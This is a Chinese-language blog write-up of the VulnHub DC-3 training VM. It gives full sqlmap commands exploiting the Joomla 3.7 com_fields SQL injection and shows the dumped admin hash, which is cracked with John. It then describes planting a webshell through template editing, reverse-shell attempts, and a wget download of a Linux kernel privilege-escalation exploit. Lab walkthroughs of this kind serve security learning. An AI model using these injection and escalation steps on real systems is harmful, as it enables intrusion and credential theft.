avatar

目录
vulnhub-DC3

信息搜集

在kali和mac上,用arp-scan扫网段,都扫不出来,没办法只能登录路由器后台查看IP了。

得到IP,用nmap扫描一下,看到只开了80端口。

主页如下,提示只有一个flag,需要登录获得。还有登录功能,可能存在注入。

收集下网站信息,看到是一个Joomla的CMS,语言为PHP。

50

dirsearch扫一下,能够看到很多信息。

在README.txt得到版本信息为3.7。

然后,去网上搜了一下,知道Joomla3.7版本有一个SQL注入漏洞,在这里有相应的利用方式。自己来测试一下,看到报错了,的确存在注入。

下来上sqlmap。

# 1.数据库
sqlmap -u "http://192.168.1.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list\[fullordering\]

available databases [5]:
[*] information_schema
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys

# 2.表
sqlmap -u "http://192.168.1.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list\[fullordering\] --batch

+----------+-------------+
........................
| #__user_profiles    |
| #__user_usergroup_m |
| #__usergroups       |
| #__users            |
| #__utf8_conversion  |
| #__viewlevels       |
+---------------------+

# 3.字段,这里把--batch去掉,因为这里的sqlmap自动选择了No,没法向下进行
## --batch就是一个自动选择sqlmap给出的选项,要视情况使用
sqlmap -u "http://192.168.1.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T \#\_\_users --columns -p list\[fullordering\]

+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | numeric     |
| name     | non-numeric |
| password | non-numeric |
| email    | non-numeric |
| params   | non-numeric |
| username | non-numeric |
+----------+-------------+

# 4.字段内容
sqlmap -u "http://192.168.1.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T \#\_\_users -C id,name,password,username --dump -p list\[fullordering\]

+------+--------+--------------------------------------------------------------+----------+
| id   | name   | password                                                     | username |
+------+--------+--------------------------------------------------------------+----------+
| 629  | admin  | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu | admin    |
+------+--------+--------------------------------------------------------------+----------+

通过注入得到了admin的加密密码,下来看能否破解它。先新建一个pwd文件,把上面的加密密码存到其中。使用kali下的john,以及自带的字典进行破解,得到密码snoopy。

然后,去路径/administrator登录。登录成功后,看到管理界面。

登录成功后,刚开始是想用msf中的这个Joomla版本的RCE模块,但试了几次都不太行。

不行,那就自己写木马文件吧,毕竟管理权限都拿到了。去站点下的Extensions/Templates路径,能够看到站点的配置文件。

在这里还找到了msf上传的反弹shell脚本,emmm。然后,我又各种改,试了试连kali和mac都不行,但本地测试时,mac能接到kali的反弹shell,奇了怪了,也不管了,还是自己再添加一个好。

因为还不会写反弹shell的脚本,就先上传一个简单的马儿,然后用蚁剑连接操作。

使用蚁剑的虚拟终端,uname -a查看电脑以及操作系统相关信息, lsb_release -a列出所有版本信息。

使用searchsploit查找提权exp。

博客说只有一个版本能用:

Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation                                                                            | exploits/linux/local/39772.txt

在kali或本机用wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip下载并解压,下来上传到有文件操作权限的一个目录下。

但是之后出现编译错误,执行也出错,就跟上面参考的博客那样,看来蚁剑的模拟终端还是不太好用,以后如果是需要搞反弹shell的时候,还是不省事儿了~~~。从这里拿个反弹shell脚本,之后也尝试了,各种不行,就是连不上。难受的一批,先不弄了。后面的操作就是用exp提权,cat flag,然后就没了。

回顾过程

  1. 信息收集
  • 目标IP探测
  • Nmap端口扫描
  1. CMS漏洞搜索
  • 识别Joomla CMS管理系统
  • 使用explotdb搜索漏洞
  1. 获取账户和密码
  • SQL注入
  • John破解hash
  1. 后渗透
  • 收集系统信息
  • 添加脚本,反弹shell连接
  1. exp提权
  • searchsploit搜索exp
  • 上传文件
  • 编译运行

参考

[1] Vulnhub DC-3靶机渗透

[2] VulnHub DC-3

文章作者: crownZ
文章链接: https://crownz-sec.github.io/2020/06/09/vulnhub_DC3/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 crownZ's Blog

评论